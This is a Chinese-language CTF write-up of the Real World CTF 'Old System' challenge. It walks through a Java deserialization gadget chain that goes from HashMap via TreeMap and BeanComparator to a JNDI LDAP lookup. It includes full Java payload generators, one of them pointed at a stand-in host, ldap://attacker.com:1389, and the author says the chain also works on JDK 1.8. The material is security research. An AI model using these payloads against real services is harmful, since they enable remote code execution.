Real Wolrd CTF Old System New Getter Jndi Gadget
昨天晚上看了长亭的一篇 Real Wolrd CTF 3rd Writeup | Old System 推文,觉得很有意思,自己研究下。
挖掘过程
概述: 从HashMap触发TreeMap的get()从而进入到compare()。
web.xml中声明了servlet路由,在其代码中进行了反序列化
而 this.appClassLoader
将反序列化能用的类限制在jdk标准库和classpath中。
其中cc库为2.1没有InvokerTransformer或InstantiateTransformer。
cc库走不通,看cb库 org.apache.commons.beanutils.BeanComparator
,很明显可以调用任意对象的getter方法。
在yso中是使用 PriorityQueue
来自动进入compare方法中,而目标环境是jdk1.4,没有 PriorityQueue
类。低版本的jdk肯定有对 PriorityQueue
自动排序队列的另一种实现,即如下调用栈
1java.util.HashMap#readObject 2java.util.HashMap#putForCreate 3java.util.HashMap#eq 4java.util.AbstractMap#equals 5java.util.TreeMap#get 6java.util.TreeMap#getEntry 7 org.apache.commons.beanutils.BeanComparator#compare
通过TreeMap的get()方法触发getEntry()从而触发compare()
我这里使用的是jdk1.8的代码,大差不差最后都能触发compare()。那么现在的关键点就在于如何触发TreeMap.get()。
在HashMap反序列化时会调用到 putForCreate()
: 图来自原文
putForCreate用于判断hash是否一致,可以通过构造值一样但引用地址不一样的两个对象来解决。
1TreeMap treeMap1 = new TreeMap(comparator); 2treeMap1.put(payloadObject, "aaa"); 3TreeMap treeMap2 = new TreeMap(comparator); 4treeMap2.put(payloadObject, "aaa"); 5HashMap hashMap = new HashMap(); 6hashMap.put(treeMap1, "bbb"); 7hashMap.put(treeMap2, "ccc");
这样就完成了从反序列化入口 readObject()
到 BeanComparator.compare()
的调用。
现在的问题就是找到RCE的最终点。而在 org.apache.commons.beanutils.BeanComparator
中是可以调用任意getter方法的,通过 PropertyUtils.getProperty()
。
而 TemplatesImpl
和 JdbcRowSetImpl
在jdk1.4的版本里都是没有的。作者挖到了一条新链,直接贴调用栈
1com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition 2-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name) 3-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name) 4-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema 5-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate 6-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns 7-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns 8-> com.sun.jndi.ldap.LdapCtx#c_lookup 9-> RCE
贴一下图,通过传入property为 attributeDefinition
来触发 com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
,而在这个类的调用过程中进行了lookup()。
这里直接跳转lookup的底层实现进行jndi查询。
POC
不仅仅适用于jdk1.4,在1.8也测试成功。利用场景在 有任意的getter方法调用 。
CTF的题解payload
1import org.apache.commons.beanutils.BeanComparator; 2import javax.naming.CompositeName; 3import java.io.FileOutputStream; 4import java.io.ObjectOutputStream; 5import java.lang.reflect.Constructor; 6import java.lang.reflect.Field; 7import java.util.HashMap; 8import java.util.TreeMap; 9public class PayloadGenerator { 10public static void main(String[] args) throws Exception { 11 String ldapCtxUrl = "ldap://attacker.com:1389"; 12 Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); 13 Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor( 14new Class[] {String.class}); 15 ldapAttributeClazzConstructor.setAccessible(true); 16 Object ldapAttribute = ldapAttributeClazzConstructor.newInstance( 17new Object[] {"name"}); 18 Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL"); 19 baseCtxUrlField.setAccessible(true); 20 baseCtxUrlField.set(ldapAttribute, ldapCtxUrl); 21 Field rdnField = ldapAttributeClazz.getDeclaredField("rdn"); 22 rdnField.setAccessible(true); 23 rdnField.set(ldapAttribute, new CompositeName("a//b")); 24// Generate payload 25 BeanComparator comparator = new BeanComparator("class"); 26 TreeMap treeMap1 = new TreeMap(comparator); 27 treeMap1.put(ldapAttribute, "aaa"); 28 TreeMap treeMap2 = new TreeMap(comparator); 29 treeMap2.put(ldapAttribute, "aaa"); 30 HashMap hashMap = new HashMap(); 31 hashMap.put(treeMap1, "bbb"); 32 hashMap.put(treeMap2, "ccc"); 33 Field propertyField = BeanComparator.class.getDeclaredField("property"); 34 propertyField.setAccessible(true); 35 propertyField.set(comparator, "attributeDefinition"); 36 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser")); 37 oos.writeObject(hashMap); 38 oos.close(); 39 } 40}
在jdk1.8中可以用下面的,只构造了后半截,TreeMap的部分需要具体问题具体分析,只要可以调用 getAttributeDefinition
即可。
1package com.test; 2 3import javax.naming.CompositeName; 4import java.lang.reflect.Constructor; 5import java.lang.reflect.Field; 6import java.lang.reflect.Method; 7 8public class Main { 9 10 public static void main(String[] args) { 11 try { 12 String ldapCtxUrl = "ldap://localhost:1389"; 13 Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); 14 15 Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor( 16 new Class[]{String.class}); 17 ldapAttributeClazzConstructor.setAccessible(true); 18 Object ldapAttribute = ldapAttributeClazzConstructor.newInstance( 19 new Object[]{"name"}); 20 21 Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL"); 22 baseCtxUrlField.setAccessible(true); 23 baseCtxUrlField.set(ldapAttribute, ldapCtxUrl); 24 25 Field rdnField = ldapAttributeClazz.getDeclaredField("rdn"); 26 rdnField.setAccessible(true); 27 rdnField.set(ldapAttribute, new CompositeName("a//b")); 28 29 Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[]{}); 30 getAttributeDefinitionMethod.setAccessible(true); 31 getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[]{}); 32 } catch (Exception e) { 33 e.printStackTrace(); 34 } 35 } 36}
参考
- https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup
- https://ctftime.org/task/14500
- Real Wolrd CTF 3rd Writeup | Old System